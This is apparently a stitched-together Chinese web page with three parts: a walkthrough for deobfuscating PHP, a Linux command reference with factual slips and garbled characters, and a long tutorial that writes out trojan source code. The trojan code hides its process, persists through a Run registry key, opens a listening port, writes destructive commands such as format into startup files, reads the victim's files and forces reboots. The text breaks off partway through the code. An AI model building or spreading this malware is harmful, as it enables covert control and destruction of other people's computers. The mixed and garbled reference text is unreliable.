chmod源码
① 如何破解这段php代码!<php //
把eval修改为exit,运行一下就能看到源码,比如第一句eval运行后显示的等效代码如下:
$IIIIIII11I1l='is_file';$IIIIIII1l1l1='intval';$IIIIIIIIlI1I='preg_match_all';$IIIIIIII1I1l='basename';$IIIIIIIIlII1='strstr';$IIIIIII1lll1='eregi';$IIIIIII1lI1l='ceil';$IIIIIII1lIIl='is_writable';$IIIIIII1lIII='chmod';$IIIIIII1I111='ftruncate';$IIIIIII1I11l='fputs';$IIIIIII1I11I='touch';$IIIIIII1I1I1='filesize';$IIIIIII1I1Il='fread';$IIIIIII1Il11='flock';$IIIIIII1Il1l='fopen';$IIIIIII1IlII='fclose';$IIIIIII1II11='fgets';$IIIIIII1II1I='feof';$IIIIIII1IIl1='fwrite';$IIIIIII1IIII='fsockopen';$IIIIIIIl11ll='parse_url';$IIIIIIIIlI11='ereg';$IIIIIIIl11lI='strtoupper';$IIIIIIIIl1l1='trim';$IIIIIIIl1l1I='preg_match';$IIIIIIIlI1ll='';$IIIIIIIIIl11='implode';$IIIIIIIl1lll='file';$IIIIIIII1II1='substr';$IIIIIIIl1lI1='strpos';$IIIIIIIIl11l='preg_replace';$IIIIIIIIIlll='explode';$IIIIIIIl1Il1='rand';$IIIIIIIl1II1='array_rand';
用上面的内容替换第一个eval语句,把第二个eval替换为exit,运行后显示出的等效代码如下:
$OO0OO0000=$OOO000000{17}.$OOO000000{12}.$OOO000000{18}.$OOO000000{5}.$OOO000000{19};if(!0)$O000O0O00=$OO0OO0000($OOO0O0O00,'rb');$OO0OO000O=$OOO000000{17}.$OOO000000{20}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OO0OO00O0=$OOO000000{14}.$OOO000000{0}.$OOO000000{20}.$OOO000000{0}.$OOO000000{20};$OO0OO000O($O000O0O00,2366);$OO00O00O0=($OOO0000O0($OO0OO00O0($OO0OO000O($O000O0O00,380),'/Le5qXTZ4ElzHKb92aouxWg3FRs+PmJhYV=','+/')));eval($OO00O00O0);
现在,大部分已经“解密”了,接下来可能有一点难度的是剩下的这两句:
$OO00O00O0=($OOO0000O0($OO0OO00O0($OO0OO000O($O000O0O00,380),'/Le5qXTZ4ElzHKb92aouxWg3FRs+PmJhYV=','+/')));
eval($OO00O00O0);
要明白最后一个eval的内容,不能直接简单的exit,需要输出$OOO0000O0等变量的值,一下就明白是fgets从本文件里面读取,现在内容修改了,会失败的,处理方法:先把原始PHP文件复制一份,比如名字叫做xxx.php,那么下面一行要修改:
$OOO0O0O00=__FILE__;
改为:
$OOO0O0O00='xxx.php';
现在就可以再次替换最后的eval为exit显示原始代码了(你没有粘贴文件的最后一部分,我无法代劳,你就当课堂练习吧)。
② linux下如何检测硬盘和内存(源代码)
linux命令详解词典
cat cd
chmod chown
cp cut
名称:cat
使用权限:所有使用者
使用方式:cat [-AbeEnstTuv] [--help] [--version] fileName
说明:把档案串连接后传到基本输出(萤幕或加 > fileName 到另一个档茄谈案)
参数:
-n 或 --number 由 1 开始对所有输出的行数编号
-b 或 --number-nonblank 和 -n 相似,只不过对于空白行不编号
-s 或 --squeeze-blank 当遇到有连续两行以上的空白行,就代换为一行的空白行
-v 或 --show-nonprinting
范例:
cat -n textfile1 > textfile2 把 textfile1 的档案内容加上行号后输入 textfile2 这个档案里
cat -b textfile1 textfile2 >> textfile3 把 textfile1 和 textfile2 的档案内容加上行号(空白行不加)之后将内容附加到 textfile3
名称:cd
使用权限:所有使用者
使用方式:cd [dirName]
说明:变换工作目录至 dirName。 其中 dirName 表示法可为绝对路径或相对路径。若目录名称省略,则变换至使用者的 home directory (也就是刚 login 时所在的目录).另外,"~" 也表示为 home directory 的意思,"." 则是表示目前所在的目录,".." 则表示目前目录位置的上一层目录。
范例:跳到 /usr/bin/:
cd /usr/bin
跳到自己的 home directory:
槐纳弊cd ~
跳到目前目录的上上两层:
cd ../..
指令名称:chmod
使用权限:所有使用者
使用方式:chmod [-cfvR] [--help] [--version] mode file...
说明:Linux/Unix 的档案存取权限分为三级:档案拥有者,群组,其他。利用 chmod 可以借以控制档案如何被他人所存取。
把计:
mode:权限设定字串,格式如下:[ugoa...][[+-=][rwxX]...][,...],其中u 表示该档案的拥有者,g 表示与该档案的拥有者属于同一个群体(group)者,o 表示其他以外的人,a 表示这三者皆是。
+ 表示增加权限,- 表示取消权限,= 表示唯一设定权限。
r 表示可读取,w 表示可写入,x 表示可执行,X 表示只有当该档案是个子目录或者该档案已经被设定过为可执行。
-c:若该档案权限确实已经更改,才显示其更改动作
-f:若该档案权限无法被更改也不要显示错铅族误讯息
-v:显示权限变更的详细资料
-R:对目前目录下的所有档案与子目录进行相同的权限变更(即以递回的方式逐个变更)
--help:显示辅助说明
--version:显示版本
范例 :将档案 file1.txt 设为所有人皆可读取:
chmod ugo+r file1.txt
将档案 file1.txt 设为所有人皆可读取:
chmod a+r file1.txt
将档案 file1.txt 与 file2.txt 设为该档案拥有者,与其所属同一个群体者可写入,但其他以外的人则不可写入:
chmod ug+w,o-w file1.txt file2.txt
将 ex1.py 设定为只有该档案拥有者可以执行:
chmod u+x ex1.py
将目前目录下的所有档案与子目录皆设为任何人可读取:
chmod -R a+r *
此外chmod也可以用数字来表示权限如 chmod 777 file
语法为:chmod abc file
其中a,b,c各为一个数字,分别表示User,Group,及Other的权限。
r=4,w=2,x=1
若要rwx属性则4+2+1=7;
若要rw-属性则4+2=6;
若要r-x属性则4+1=7。
范例:
chmod a=rwx file
和
chmod 777 file
效果相同
chmod ug=rwx,o=x file
和
chmod 771 file
效果相同
若用chmod 4755 filename可使此程式具有root的权限
指令名称:chown
使用权限:root
使用方式:chmod [-cfhvR] [--help] [--version] user[:group] file...
说明:Linux/Unix 是多人多工作业系统,所有的档案皆有拥有者。利用 chown 可以将档案的拥有者加以改变。一般来说,这个指令只有是由系统管理者(root)所使用,一般使用者没有权限可以改变别人的档案拥有者,也没有权限可以自己的档案拥有者改设为别人。只有系统管理者(root)才有这样的权限。
把计:
user:新的档案拥有者的使用者 IDgroup:新的档案拥有者的使用者群体(group)-c:若该档案拥有者确实已经更改,才显示其更改动作-f:若该档案拥有者无法被更改也不要显示错误讯息-h:只对于连结(link)进行变更,而非该 link 真正指向的档案-v:显示拥有者变更的详细资料-R:对目前目录下的所有档案与子目录进行相同的拥有者变更(即以递回的方式逐个变更)--help:显示辅助说明--version:显示版本
范例:
将档案 file1.txt 的拥有者设为 users 群体的使用者 jessie:
chown jessie:users file1.txt
将目前目录下的所有档案与子目录的拥有者皆设为 users 群体的使用者 lamport:
chmod -R lamport:users *
名称:cp
使用权限:所有使用者
使用方式:
cp [options] source dest
cp [options] source... directory
说明:将一个档案拷贝至另一档案,或将数个档案拷贝至另一目录。
把计:
-a 尽可能将档案状态,权限等资料都照原状予以复制。
-r 若 source 中含有目录名,则将目录下之档案亦皆依序拷贝至目的地。
-f 若目的地已经有相同档名的档案存在,则在复制前先予以删除再行复制。
范例:
将档案 aaa 复制(已存在),并命名为 bbb:
cp aaa bbb
将所有的C语言程式拷贝至 Finished 子目录中:
cp *.c Finished
名称:cut
使用权限:所有使用者
用法:cut -cnum1-num2 filename
说明:显示每行从开头算起 num1 到 num2 的文字。
范例:
shell>> cat example
test2
this is test1
shell>> cut -c0-6 example ## print 开头算起前 6 个字符
test2
this i
用法:find
使用说明:
将档案系统内符合 expression 的档案列出来。你可以指要档案的名称,类别,时间,大小,权限等不同资讯的组合,只有完全相符的才会被列出来。
find 根据下列规则判断 path 和 expression,在命令列上第一个 - ( ) , ! 之前的部份为 path,之后的是 expression。如果 path 是空字串则使用目前路径,如果 expression 是空字串则使用 -print 为预设 expression
expression 中可使用的选项有二三十个之多,在此只介绍最常用的部份。
-mount, -xdev:只检查和指定目录在同一个档案系统下的档案,避免列出其它档案系统中的档案
-amin n:在过去 n 分钟内被读取过
-anewer file:比档案 file 更晚被读取过的档案
-atime n:在过去 n 天过读取过的档案
-cmin n:在过去 n 分钟内被修改过
-cnewer file :比档案 file 更新的档案
-ctime n:在过去 n 天过修改过的档案
-empty:空的档案-gid n or -group name:gid 是 n 或是 group 名称是 name
-ipath p, -path p:路径名称符合 p 的档案,ipath 会忽略大小写
-name name, -iname name:档案名称符合 name 的档案。iname 会忽略大小写
-size n:档案大小 是 n 单位,b 代表 512 位元组的区块,c 表示字符数,k 表示 kilo bytes,w 是二个位元组。-type c:档案类型是 c 的档案。
d: 目录
c: 字型装置档案
b: 区块装置档案
p: 具名贮列
f: 一般档案
l: 符号连结
s: socket
-pid n:process id 是 n 的档案
你可以使用 ( ) 将运算式分隔,并使用下列运算。
exp1 -and exp2
! expr
-not expr
exp1 -or exp2
exp1, exp2
范例:
将目前目录及其子目录下所有延伸档名是 c 的档案列出来。
# find . -name "*.c"
将目前目录其其下子目录中所有一般档案列出
# find . -ftype f
将目前目录及其子目录下所有最近 20 分钟内更新过的档案列出
# find . -ctime -20
名称:less
使用权限:所有使用者
使用方式:
less [Option] filename
说明:
less 的作用与 more 十分相似,都可以用来浏览文字档案的内容,不同的是 less 允许使用者往回卷动
以浏览已经看过的部份,同时因为 less 并未在一开始就读入整个档案,因此在遇上大型档案的开启时,会比一般的文书编辑器(如 vi)来的快速。
范例:
指令名称:ln
使用权限:所有使用者
使用方式:ln [options] source dist,其中 option 的格式为:
[-bdfinsvF] [-S backup-suffix] [-V {numbered,existing,simple}]
[--help] [--version] [--]
说明:Linux/Unix 档案系统中,有所谓的连结(link),我们可以将其视为档案的别名,而连结又可分为两种:硬连结(hard link)与软连结(symbolic link),硬连结的意思是一个档案可以有多个名称,而软连结的方式则是产生一个特殊的档案,该档案的内容是指向另一个档案的位置。硬连结是存在同一个档案系统中,而软连结却可以跨越不同的档案系统。
ln source dist 是产生一个连结(dist)到 source,至于使用硬连结或软链结则由参数决定。
不论是硬连结或软链结都不会将原本的档案复制一份,只会占用非常少量的磁盘空间。
-f:链结时先将与 dist 同档名的档案删除-d:允许系统管理者硬链结自己的目录-i:在删除与 dist 同档名的档案时先进行询问-n:在进行软连结时,将 dist 视为一般的档案-s:进行软链结(symbolic link)-v:在连结之前显示其档名-b:将在链结时会被覆写或删除的档案进行备份-S SUFFIX:将备份的档案都加上 SUFFIX 的字尾-V METHOD:指定备份的方式--help:显示辅助说明--version:显示版本
范例:
将档案 yy 产生一个 symbolic link:zz
ln -s yy zz
将档案 yy 产生一个 hard link:zz
ln yy xx
名称:locate
使用权限:所有使用者
使用方式: locate [-q] [-d ] [--database=]
locate [-r ] [--regexp=]
locate [-qv] [-o ] [--output=]
locate [-e ] [-f ] <[-l ] [-c]
<[-U ] [-u]>
locate [-Vh] [--version] [--help]
说明:
locate 让使用者可以很快速的搜寻档案系统内是否有指定的档案。其方法是先建立一个包括系统内所有档案名称及路径的资料库,之后当寻找时就只需查询这个资料库,而不必实际深入档案系统之中了。在一般的 distribution 之中,资料库的建立都被放在 contab 中自动执行。
一般使用者在使用时只要用
# locate your_file_name
的型式就可以了。 参数:
-u
-U
建立资料库,-u 会由根目录开始,-U 则可以指定开始的位置。
-e
将排除在寻找的范围之外。
-l
如果 是 1.则启动安全模式。在安全模式下,使用者不会看到权限无法看到的档案。这会始速度减慢,因为 locate 必须至实际的档案系统中取得档案的权限资料。
-f
将特定的档案系统排除在外,例如我们没有到理要把 proc 档案系统中的档案放在资料库中。
-q
安静模式,不会显示任何错误讯息。
-n
至多显示 个输出。
-r
使用正规运算式 做寻找的条件。
-o
指定资料库存的名称。
-d
指定资料库的路径
-h
显示辅助讯息
-v
显示更多的讯息
-V
显示程式的版本讯息 范例:
locate chdrv:寻找所有叫 chdrv 的档案
locate -n 100 a.out:寻找所有叫 a.out 的档案,但最多只显示 100 个
locate -u:建立资料库
名称:ls
使用权限:所有使用者
使用方式:ls [-alrtAFR] [name...]
说明:显示指定工作目录下之内容(列出目前工作目录所含之档案及子目录)。
-a 显示所有档案及目录 (ls内定将档案名或目录名称开头为"."的视为隐藏档,不会列出)
-l 除档案名称外,亦将档案型态,权限,拥有者,档案大小等资讯详细列出
-r 将档案以相反次序显示(原定依英文字母次序)
-t 将档案依建立时间之先后次序列出
-A 同 -a ,但不列出 "." (目前目录) 及 ".." (父目录)
-F 在列出的档案名称后加一符号;例如可执行档则加 "*", 目录则加 "/"
-R 若目录下有档案,则以下之档案亦皆依序列出
范例:
列出目前工作目录下所有名称是 s 开头的档案,愈新的排愈后面:
ls -ltr s*
将 /bin 目录以下所有目录及档案详细资料列出:
ls -lR /bin
列出目前工作目录下所有档案及目录;目录于名称后加 "/", 可执行档于名称后加 "*":
ls -AF
名称:rm
使用权限:所有使用者
使用方式:rm [options] name...
说明:删除档案及目录。
把计:
-i 删除前逐一询问确认。
-f 即使原档案属性设为唯读,亦直接删除,无需逐一确认。
-r 将目录及以下之档案亦逐一删除。
范例:
删除所有C语言程式档;删除前逐一询问确认:
rm -i *.c
将 Finished 子目录及子目录中所有档案删除:
rm -r Finished
名称:rmdir
使用权限:于目前目录有适当权限的所有使用者
使用方式: rmdir [-p] dirName
说明: 删除空的目录。
参数: -p 是当子目录被删除后使它也成为空目录的话,则顺便一并删除。
范例:
将工作目录下,名为 AAA 的子目录删除:
rmdir AAA
在工作目录下的 BBB 目录中,删除名为 Test 的子目录。若 Test 删除后,BBB 目录成为空目录,则 BBB 亦予删除。
rmdir -p BBB/Test
名称:split
使用权限:所有使用者
使用方式:split [OPTION] [INPUT [PREFIX]]说明:
将一个档案分割成数个。而从 INPUT 分割输出成固定大小的档案,其档名依序为 PREFIXaa, PREFIXab...;PREFIX 预设值为 `x。若没有 INPUT 档或为 `-,则从标准输入读进资料。
匡兜:
-b, --bytes=SIZE
SIZE 值为每一输出档案的大小,单位为 byte。
-C, --line-bytes=SIZE
每一输出档中,单行的最大 byte 数。
-l, --lines=NUMBER
NUMBER 值为每一输出档的列数大小。
-NUMBER
与 -l NUMBER 相同。
--verbose
于每个输出档被开启前,打印出侦错资讯到标准错误输出。
--help
显示辅助资讯然后离开。
--version
列出版本资讯然后离开。
SIZE 可加入单位: b 代表 512, k 代表 1K, m 代表 1 Meg。
范例:
Postgressql 大型资料库备份与回存:
因 Postgres 允许表格大过你系统档案的最大容量,所以要将表格 mp 到单一的档案可能会有问题,使用 split进行档案分割。
% pg_mp dbname | split -b 1m - filename.mp.
重新载入
% createdb dbname
% cat filename.mp.* | pgsql dbname
③ 哪里有木马源代码分析啊 要详解的 最好C语言编写的
木马是如何编写的(一)
特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。
我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。
自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。
首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?
启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMftp和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。
Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。
我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。
首先判断目标机的操作系统是Win9x还是WinNt:
{
DWORD dwVersion = GetVersion();
// 得到操作系统的版本号
if (dwVersion >= 0x80000000)
// 操作系统是Win9x,不是WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
file://定义RegisterServiceProcess()函数的原型
HINSTANCE hDLL;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32");
file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");
file://得到RegisterServiceProcess()函数的地址
lpRegisterServiceProcess(GetCurrentProcessId(),1);
file://执行RegisterServiceProcess()函数,隐藏本进程
FreeLibrary(hDLL);
file://卸载动态链接库
}
}
这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:
{
char TempPath[MAX_PATH];
file://定义一个变量
GetSystemDirectory(TempPath ,MAX_PATH);
file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径
SystemPath=AnsiString(TempPath);
file://格式化TempPath字符串,使之成为能供编译器使用的样式
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);
file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来
Registry=new TRegistry;
file://定义一个TRegistry对象,准备修改注册表,这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
file://设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之
try
{
file://如果以下语句发生异常,跳至catch,以避免程序崩溃
if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\\Tapi32.exe");
file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe
file://如果不是,就写入以上键值和内容
}
catch(...)
{
file://如果有错误,什么也不做
}
}
好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。
接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket->ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>100)
{
file://如果已经试了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket->SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket->SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket->SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket->SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent->d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib & FA_RDONLY)
file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib & FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib & FA_DIREC)
fwrite(" <DIR> ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>100)
{
file://如果已经试了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
for(int i=0;i<300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket->SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try>100)
{
file://如果已试了100次了
Socket->SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i<300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
for(int i=0;i<300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
file://Return_Text的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket->SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion < 0x80000000)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);
file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌
file://GetCurrentProcess()函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
file://LookupPrivilegeValue()的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
